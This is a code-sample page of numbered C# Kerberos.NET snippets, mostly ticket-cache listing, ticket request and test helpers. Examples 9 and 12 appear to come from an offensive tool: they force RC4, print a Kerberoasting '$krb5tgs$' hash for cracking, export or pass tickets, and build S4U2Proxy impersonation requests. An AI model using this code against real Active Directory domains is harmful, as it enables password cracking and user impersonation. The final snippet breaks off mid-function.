Ejemplo n.º 1
0
        internal object GetCacheItem(string key)
        {
            Krb5Credential cred = this.FindCredential(key);

            if (cred is null)
            {
                return(cred);
            }

            return(new KerberosClientCacheEntry
            {
                KdcResponse = new KrbTgsRep
                {
                    Ticket = KrbTicket.DecodeApplication(cred.Ticket),
                    CName = KrbPrincipalName.FromString(cred.Client.FullyQualifiedName),
                    CRealm = cred.Client.Realm,
                    EncPart = new KrbEncryptedData {
                    }
                },
                SessionKey = new KrbEncryptionKey
                {
                    EType = cred.KeyBlock.Key,
                    KeyValue = cred.KeyBlock.Value
                },
                Flags = cred.Flags,
                SName = KrbPrincipalName.FromString(cred.Server.FullyQualifiedName)
            });
        }
Ejemplo n.º 2
0
 private static object CredToCacheEntry(Krb5Credential cred)
 {
     return(new KerberosClientCacheEntry
     {
         KdcResponse = new KrbTgsRep
         {
             Ticket = KrbTicket.DecodeApplication(cred.Ticket),
             CName = KrbPrincipalName.FromString(cred.Client.FullyQualifiedName, cred.Client.Type),
             CRealm = cred.Client.Realm,
             EncPart = new KrbEncryptedData {
             }
         },
         SessionKey = new KrbEncryptionKey
         {
             EType = cred.KeyBlock.Key,
             KeyValue = cred.KeyBlock.Value
         },
         Flags = cred.Flags,
         SName = KrbPrincipalName.FromString(cred.Server.FullyQualifiedName),
         AuthTime = cred.AuthTime,
         StartTime = cred.StartTime,
         EndTime = cred.EndTime,
         RenewTill = cred.RenewTill <= DateTimeOffset.MinValue ? null : cred.RenewTill
     });
 }
Ejemplo n.º 3
0
        private void ListTickets(string cache)
        {
            TicketCacheBase.TryParseCacheType(cache, out _, out string path);

            var ticketCache = new Krb5TicketCache(path);

            var tickets = ticketCache.Krb5Cache.Credentials.ToArray();

            this.IO.Writer.WriteLine("{0}: {1}", SR.Resource("CommandLine_KList_Count"), tickets.Length);
            this.IO.Writer.WriteLine();

            for (var i = 0; i < tickets.Length; i++)
            {
                var ticket = tickets[i];

                KrbTicket decodedTicket = TryParseTicket(ticket.Ticket);

                var properties = new List <(string, string)>
                {
                    ("CommandLine_KList_Client", $"{ticket.Client.FullyQualifiedName} @ {ticket.Client.Realm}"),
                    ("CommandLine_KList_Server", $"{ticket.Server.FullyQualifiedName} @ {ticket.Server.Realm}"),
                    ("CommandLine_KList_TicketEType", $"{decodedTicket?.EncryptedPart?.EType.ToString()}"),
                    ("CommandLine_KList_Flags", ticket.Flags.ToString()),
                    ("CommandLine_KList_Start", ticket.AuthTime.ToLocalTime().ToString(CultureInfo.CurrentCulture)),
                    ("CommandLine_KList_End", ticket.EndTime.ToLocalTime().ToString(CultureInfo.CurrentCulture)),
                    ("CommandLine_KList_RenewTime", ticket.RenewTill.ToLocalTime().ToString(CultureInfo.CurrentCulture))
                };

                var ticketEntryNumber = string.Format("#{0}>", i);

                var max = properties.Max(p => p.Item1.Length);

                bool first = true;

                foreach (var prop in properties)
                {
                    var key = string.Format("{0}: ", SR.Resource(prop.Item1)).PadLeft(max - 1).PadRight(max);

                    if (first)
                    {
                        key = ticketEntryNumber + key.Substring(ticketEntryNumber.Length);

                        first = false;
                    }

                    this.IO.Writer.Write(key);
                    this.IO.Writer.WriteLine(prop.Item2);
                }

                this.IO.Writer.WriteLine();
            }
        }
Ejemplo n.º 4
0
        private static async Task RequestTickets(string user, string password, string overrideKdc, string s4u, string spn)
        {
            var kerbCred = new KerberosPasswordCredential(user, password);

            using (KerberosClient client = new KerberosClient(overrideKdc))
            {
                await client.Authenticate(kerbCred);

                spn = spn ?? "host/appservice.corp.identityintervention.com";

                KrbTicket s4uTicket = null;

                if (!string.IsNullOrWhiteSpace(s4u))
                {
                    var s4uSelf = await client.GetServiceTicket(
                        kerbCred.UserName,
                        ApOptions.MutualRequired,
                        s4u : s4u
                        );

                    s4uTicket = s4uSelf.Ticket;
                }

                var ticket = await client.GetServiceTicket(
                    spn,
                    ApOptions.MutualRequired,
                    s4uTicket : s4uTicket
                    );

                var encoded = ticket.EncodeApplication().ToArray();

                var authenticator = new KerberosAuthenticator(
                    new KeyTable(
                        new KerberosKey(
                            "P@ssw0rd!",
                            principalName: new PrincipalName(
                                PrincipalNameType.NT_PRINCIPAL,
                                "CORP.IDENTITYINTERVENTION.com",
                                new[] { spn }
                                ),
                            saltType: SaltType.ActiveDirectoryUser
                            )
                        )
                    );

                var validated = (KerberosIdentity)await authenticator.Authenticate(encoded);

                DumpClaims(validated);
            }
        }
Ejemplo n.º 5
0
        private static KrbTicket TryParseTicket(ReadOnlyMemory <byte> ticket)
        {
            if (ticket.Length <= 0)
            {
                return(null);
            }

            try
            {
                return(KrbTicket.DecodeApplication(ticket));
            }
            catch (CryptographicException)
            {
            }

            return(null);
        }
Ejemplo n.º 6
0
        private void ListTickets(KerberosClient client)
        {
            IEnumerable <KerberosClientCacheEntry> cache;

            if (client.Cache is ITicketCache2 cache2)
            {
                cache = cache2.GetAll().Cast <KerberosClientCacheEntry>();
            }
            else
            {
                cache = Array.Empty <KerberosClientCacheEntry>();
            }

            var tickets = cache.Where(c => c.EndTime > DateTimeOffset.UtcNow).ToArray();

            this.WriteLine(string.Format("{0}: {{TicketCount}}", SR.Resource("CommandLine_KList_Count")), tickets.Length);
            this.WriteLine();

            for (var i = 0; i < tickets.Length; i++)
            {
                var ticket = tickets[i];

                KrbTicket decodedTicket = ticket.KdcResponse.Ticket;

                var properties = new List <(string, (string, object[]))>
                {
                    (SR.Resource("CommandLine_KList_Client"), ("{CName} @ {Realm}", new[] { ticket.KdcResponse.CName.FullyQualifiedName, ticket.KdcResponse.CRealm })),
                    (SR.Resource("CommandLine_KList_Server"), ("{SName} @ {Realm}", new[] { ticket.SName.FullyQualifiedName, ticket.KdcResponse.Ticket.Realm })),
                    (SR.Resource("CommandLine_KList_TicketEType"), ("{EType} ({ETypeInt})", new object[] { decodedTicket?.EncryptedPart?.EType, (int)decodedTicket?.EncryptedPart?.EType })),
                    (SR.Resource("CommandLine_KList_Flags"), ("{FlagsHex:x} -> {Flags}", new object[] { (uint)ticket.Flags, ticket.Flags })),
                    (SR.Resource("CommandLine_KList_Start"), ("{StartTime}", new object[] { ticket.AuthTime.ToLocalTime() })),
                    (SR.Resource("CommandLine_KList_End"), ("{EndTime}", new object[] { ticket.EndTime.ToLocalTime() })),
                    (SR.Resource("CommandLine_KList_RenewTime"), ("{RenewTime}", new object[] { ticket.RenewTill?.ToLocalTime() })),
                };

                if (ticket.SessionKey != null)
                {
                    properties.Add((SR.Resource("CommandLine_KList_SessionEType"), ("{EType} ({ETypeInt})", new object[] { ticket.SessionKey.EType, (int)ticket.SessionKey.EType })));
                }

                if (ticket.BranchId > 0)
                {
                    properties.Add((SR.Resource("CommandLine_KList_BranchId"), ("{BranchHex:x} -> {Branch}", new object[] { (uint)ticket.Flags, ticket.Flags })));
                }

                if (!string.IsNullOrWhiteSpace(ticket.KdcCalled))
                {
                    properties.Add((SR.Resource("CommandLine_KList_KdcCalled"), ("{Kdc}", new object[] { ticket.KdcCalled })));
                }

                var ticketEntryNumber = string.Format("#{0}>", i);

                var max = properties.Max(p => p.Item1.Length) + 10;

                bool first = true;

                foreach (var prop in properties)
                {
                    var key = SR.Resource(prop.Item1).PadLeft(max - 1).PadRight(max);

                    if (first)
                    {
                        key = ticketEntryNumber + key[ticketEntryNumber.Length..];
Ejemplo n.º 7
0
        private static async Task RequestTickets(
            X509Certificate2 cert,
            string user,
            string password,
            string overrideKdc,
            string s4u,
            string spn,
            bool retryDH,
            bool includeCNameHint,
            string servicePassword,
            string serviceSalt
            )
        {
            KerberosCredential kerbCred;

            if (cert == null)
            {
                kerbCred = new KerberosPasswordCredential(user, password);
            }
            else
            {
                var chain = new X509Chain();
                chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck;
                chain.Build(cert);

                var kdcCerts = new List <X509Certificate2>();

                for (var i = 0; i < chain.ChainElements.Count; i++)
                {
                    var c = chain.ChainElements[i].Certificate;

                    if (c.Thumbprint != cert.Thumbprint)
                    {
                        kdcCerts.Add(c);
                    }
                }

                if (retryDH)
                {
                    kerbCred = new RandomDHAsymmetricCredential(cert, user);
                }
                else
                {
                    kerbCred = new TrustedKdcAsymmetricCredential(cert, user);
                }
            }

            KerberosClient client;

            if (Uri.TryCreate(overrideKdc, UriKind.Absolute, out Uri kdcProxy))
            {
                var kdcProxyTransport = new HttpsKerberosTransport()
                {
                    DomainPaths = new Dictionary <string, Uri>
                    {
                        { kdcProxy.DnsSafeHost.ToLowerInvariant(), kdcProxy },
                        { kerbCred.Domain.ToLowerInvariant(), kdcProxy }
                    }
                };

                client = new KerberosClient(null, kdcProxyTransport);
            }
            else
            {
                client = new KerberosClient(overrideKdc);
            }

            if (includeCNameHint)
            {
                client.CNameHint = KrbPrincipalName.FromString(kerbCred.UserName, PrincipalNameType.NT_PRINCIPAL, kerbCred.Domain);
            }

            using (client)
                using (kerbCred as IDisposable)
                {
                    await client.Authenticate(kerbCred);

                    W("AS-REQ Succeeded", ConsoleColor.Green);

                    spn = spn ?? "host/appservice.corp.identityintervention.com";

                    KrbTicket s4uTicket = null;

                    if (!string.IsNullOrWhiteSpace(s4u))
                    {
                        var s4uSelf = await client.GetServiceTicket(
                            kerbCred.UserName,
                            ApOptions.MutualRequired,
                            s4u : s4u
                            );

                        s4uTicket = s4uSelf.Ticket;
                    }

                    var ticket = await client.GetServiceTicket(
                        spn,
                        ApOptions.MutualRequired,
                        s4uTicket : s4uTicket
                        );

                    DumpTicket(ticket);

                    ResetColor();

                    if (!retryDH)
                    {
                        try
                        {
                            await TryValidate(spn, ticket, servicePassword, serviceSalt);
                        }
                        catch (Exception ex)
                        {
                            W(ex.Message, ConsoleColor.Yellow);

                            ResetColor();
                        }
                    }
                }
        }
Ejemplo n.º 8
0
        private static async Task RequestTickets(
            X509Certificate2 cert,
            string user,
            string password,
            string overrideKdc,
            string s4u,
            string spn,
            bool retryDH,
            bool includeCNameHint,
            string servicePassword,
            string serviceSalt,
            bool cacheToFile
            )
        {
            KerberosCredential kerbCred;

            if (cert == null)
            {
                kerbCred = new KerberosPasswordCredential(user, password);
            }
            else
            {
                var chain = new X509Chain();
                chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck;
                chain.Build(cert);

                var kdcCerts = new List <X509Certificate2>();

                for (var i = 0; i < chain.ChainElements.Count; i++)
                {
                    var c = chain.ChainElements[i].Certificate;

                    if (c.Thumbprint != cert.Thumbprint)
                    {
                        kdcCerts.Add(c);
                    }
                }

                if (retryDH)
                {
                    kerbCred = new RandomDHAsymmetricCredential(cert, user);
                }
                else
                {
                    kerbCred = new TrustedKdcAsymmetricCredential(cert, user);
                }
            }

            var factory = LoggerFactory.Create(builder =>
            {
                builder.AddConsole(opt => opt.IncludeScopes = true);
                builder.AddFilter <ConsoleLoggerProvider>(level => level >= LogLevel.Trace);
            });

            var client = new KerberosClient(logger: factory);

            if (Uri.TryCreate(overrideKdc, UriKind.Absolute, out Uri kdcProxy))
            {
                client.Configuration.Realms[kdcProxy.DnsSafeHost].Kdc.Add(kdcProxy.OriginalString);
                client.Configuration.Realms[kerbCred.Domain].Kdc.Add(kdcProxy.OriginalString);
                client.Configuration.Defaults.DnsLookupKdc = false;
            }
            else if (!string.IsNullOrWhiteSpace(overrideKdc))
            {
                client.Configuration.Defaults.DnsLookupKdc = false;
                client.PinKdc(kerbCred.Domain, overrideKdc);
            }

            if (cacheToFile)
            {
                client.Configuration.Defaults.DefaultCCacheName = "krb5cc";
            }

            KrbPrincipalName cnameHint = null;

            if (includeCNameHint)
            {
                cnameHint = KrbPrincipalName.FromString(kerbCred.UserName, PrincipalNameType.NT_PRINCIPAL, kerbCred.Domain);
            }

            client.RenewTickets = true;

            using (client)
                using (kerbCred as IDisposable)
                {
                    await client.Authenticate(kerbCred);

                    spn = spn ?? "host/appservice.corp.identityintervention.com";

                    KrbTicket s4uTicket = null;

                    if (!string.IsNullOrWhiteSpace(s4u))
                    {
                        var s4uSelf = await client.GetServiceTicket(
                            kerbCred.UserName,
                            ApOptions.MutualRequired,
                            s4u : s4u
                            );

                        s4uTicket = s4uSelf.Ticket;
                    }

                    var session = await client.GetServiceTicket(
                        new RequestServiceTicket
                    {
                        ServicePrincipalName = spn,
                        ApOptions            = ApOptions.MutualRequired,
                        S4uTicket            = s4uTicket,
                        CNameHint            = cnameHint
                    }
                        );

                    DumpTicket(session.ApReq);

                    ResetColor();

                    if (!retryDH)
                    {
                        try
                        {
                            await TryValidate(spn, session.ApReq, servicePassword, serviceSalt, factory);
                        }
                        catch (Exception ex)
                        {
                            W(ex.Message, ConsoleColor.Yellow);

                            ResetColor();
                        }
                    }
                }
        }
Ejemplo n.º 9
0
        //TODO...
        //askTGS with TGT kirbi
        public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
                                                                              ILoggerFactory logger,
                                                                              TcpKerberosTransport transport,
                                                                              KrbAsRep asRep,
                                                                              string username,
                                                                              string password,
                                                                              string domainName,
                                                                              string spn,
                                                                              bool isUnconstrained    = false,
                                                                              bool outKirbi           = false,
                                                                              bool verbose            = false,
                                                                              bool kerberoast         = false,
                                                                              bool ptt                = false,
                                                                              string hash             = null,
                                                                              EncryptionType etype    = EncryptionType.RC4_HMAC_NT,
                                                                              bool outfile            = false,
                                                                              string srvName          = null,
                                                                              string tgsHash          = null,
                                                                              EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
                                                                              )
        {
            var now = DateTime.Now;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;



            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
                KdcOptions.RenewableOk |
                KdcOptions.Canonicalize;
            string    s4u             = null;
            KrbTicket s4uTicket       = null;
            KrbTicket u2uServerTicket = null;

            if (isUnconstrained)
            {
                spn         = $"krbtgt/{domainName}";
                kdcOptions |= KdcOptions.Forwarded;
            }


            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions |= KdcOptions.ConstrainedDelegation;

                additionalTickets.Add(rst.S4uTicket);
            }


            var body = new KrbKdcReqBody
            {
                //Specify RC4 as the only supported EType
                EType      = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = rst.CNameHint
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );

            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.BranchAware
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP ...");
            if (verbose)
            {
                PrintFunc.PrintRep(tgsRep, credKey);
            }



            var returnFlag = TicketFlags.Anonymous;

            try
            {
                //TGS-REP Enc-Part
                //https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);

                    returnFlag = tgsDecryptedRepPart.Flags;


                    if (!string.IsNullOrEmpty(tgsHash))
                    {
                        //=========================================
                        //TGS Tiket Enc-Part
                        //Service account Cred
                        var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);

                        //TGS-REQ Ticket Enc-Part
                        KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
                                                               (kerbCred2.CreateKey(),
                                                               KeyUsage.Ticket,
                                                               (ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));

                        Console.WriteLine("    * [Decrypted Ticket Enc-Part]:");
                        PrintFunc.PrintTicketEnc(ticketDecrypted);
                        //=========================================
                    }
                }


                if (outKirbi || outfile)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
                    if (outKirbi)
                    {
                        Console.WriteLine("[+] TGS Kirbi:");
                        Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                    }
                    if (outfile)
                    {
                        Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
                    }
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }



            if (kerberoast)
            {
                //Kerberoasting
                var encType    = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
                var myCipher   = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
                var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
                Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
            }


            return(returnFlag);
        }
Ejemplo n.º 10
0
        internal static async Task RequestAndValidateTicketsWithCaches(
            KdcListener listener,
            string user,
            string password       = null,
            string overrideKdc    = null,
            KeyTable keytab       = null,
            string s4u            = null,
            bool encodeNego       = false,
            bool caching          = false,
            bool includePac       = true,
            X509Certificate2 cert = null,
            string spn            = FakeAppServiceSpn,
            KeyAgreementAlgorithm keyAgreement = KeyAgreementAlgorithm.DiffieHellmanModp14,
            bool allowWeakCrypto    = false,
            bool useWeakCrypto      = false,
            bool mutualAuth         = true,
            KrbTicket s4uTicket     = null,
            bool useKrb5TicketCache = false
            )
        {
            KerberosCredential kerbCred;

            if (cert != null)
            {
                kerbCred = new TrustedAsymmetricCredential(cert, user)
                {
                    KeyAgreement = keyAgreement
                };
            }
            else if (keytab != null)
            {
                kerbCred = new KeytabCredential(user, keytab);
            }
            else
            {
                kerbCred = new KerberosPasswordCredential(user, password);
            }

            KerberosClient client = CreateClient(
                listener,
                overrideKdc,
                caching: caching,
                allowWeakCrypto: allowWeakCrypto,
                useWeakCrypto: useWeakCrypto,
                useKrb5TicketCache: useKrb5TicketCache
                );

            using (kerbCred as IDisposable)
                using (client)
                {
                    if (!includePac)
                    {
                        client.AuthenticationOptions &= ~AuthenticationOptions.IncludePacRequest;
                    }

                    await client.Authenticate(kerbCred);

                    var ticket = await client.GetServiceTicket(
                        new RequestServiceTicket
                    {
                        ServicePrincipalName = spn,
                        ApOptions            = mutualAuth ? ApOptions.MutualRequired : 0
                    }
                        );

                    await ValidateTicket(ticket, includePac : includePac, spn : spn, mutualAuth : mutualAuth);

                    await client.RenewTicket();

                    ticket = await client.GetServiceTicket(
                        new RequestServiceTicket
                    {
                        ServicePrincipalName = spn,
                        ApOptions            = mutualAuth ? ApOptions.MutualRequired : 0
                    }
                        );

                    await ValidateTicket(ticket, encodeNego, includePac : includePac, spn : spn, mutualAuth : mutualAuth);

                    ticket = await client.GetServiceTicket(
                        new RequestServiceTicket
                    {
                        ServicePrincipalName = spn,
                        ApOptions            = mutualAuth ? ApOptions.MutualRequired : 0,
                        S4uTarget            = s4u,
                        S4uTicket            = s4uTicket
                    }
                        );

                    await ValidateTicket(ticket, includePac : includePac, spn : spn, mutualAuth : mutualAuth);
                }

            if (user.Contains("-fallback"))
            {
                Assert.AreEqual(PrincipalNameType.NT_PRINCIPAL, kerbCred.PrincipalNameType);
            }
            else
            {
                Assert.AreEqual(PrincipalNameType.NT_ENTERPRISE, kerbCred.PrincipalNameType);
            }
        }
Ejemplo n.º 11
0
        internal static async Task RequestAndValidateTickets(
            KdcListener listener,
            string user,
            string password       = null,
            string overrideKdc    = null,
            KeyTable keytab       = null,
            string s4u            = null,
            bool encodeNego       = false,
            bool caching          = false,
            bool includePac       = true,
            X509Certificate2 cert = null,
            string spn            = FakeAppServiceSpn,
            KeyAgreementAlgorithm keyAgreement = KeyAgreementAlgorithm.DiffieHellmanModp14,
            bool allowWeakCrypto = false,
            bool useWeakCrypto   = false,
            bool mutualAuth      = true,
            KrbTicket s4uTicket  = null
            )
        {
            await RequestAndValidateTicketsWithCaches(
                listener,
                user,
                password,
                overrideKdc,
                keytab,
                s4u,
                encodeNego,
                caching,
                includePac,
                cert,
                spn,
                keyAgreement,
                allowWeakCrypto,
                useWeakCrypto,
                mutualAuth,
                s4uTicket
                );

            if (caching)
            {
                await RequestAndValidateTicketsWithCaches(
                    listener,
                    user,
                    password,
                    overrideKdc,
                    keytab,
                    s4u,
                    encodeNego,
                    caching,
                    includePac,
                    cert,
                    spn,
                    keyAgreement,
                    allowWeakCrypto,
                    useWeakCrypto,
                    mutualAuth,
                    s4uTicket,
                    useKrb5TicketCache : true
                    );
            }
        }
Ejemplo n.º 12
0
        //S4U2Proxy
        //[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
        //The KDC checks if the security principal name(SPN) for Service 2,
        //identified in the sname and srealm fields of the KRB_TGS_REQ message,
        //is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
        //If it is, then the KDC replies with a service ticket for Service 2.
        //Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
        public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
                                                                  ILoggerFactory logger,
                                                                  TcpKerberosTransport transport,
                                                                  KrbAsRep asRep,
                                                                  KrbTgsRep s4u2self,
                                                                  string username,
                                                                  string password,
                                                                  string domainName,
                                                                  string impersonateuser,
                                                                  string spn,
                                                                  bool outKirbi        = false,
                                                                  bool verbose         = false,
                                                                  bool ptt             = false,
                                                                  string hash          = null,
                                                                  EncryptionType etype = EncryptionType.RC4_HMAC_NT)
        {
            var now = DateTime.UtcNow;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = password != null ?
                                          new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d)) :
                                          new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;


            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
                KdcOptions.RenewableOk;
            string    s4u             = null;
            KrbTicket s4uTicket       = s4u2self.Ticket;
            KrbTicket u2uServerTicket = null;



            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;

                additionalTickets.Add(rst.S4uTicket);
            }

            //EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
            string[] name = { };
            var      body = new KrbKdcReqBody
            {
                EType      = KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = name
                },
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );


            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.ResourceBasedConstrainedDelegation
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



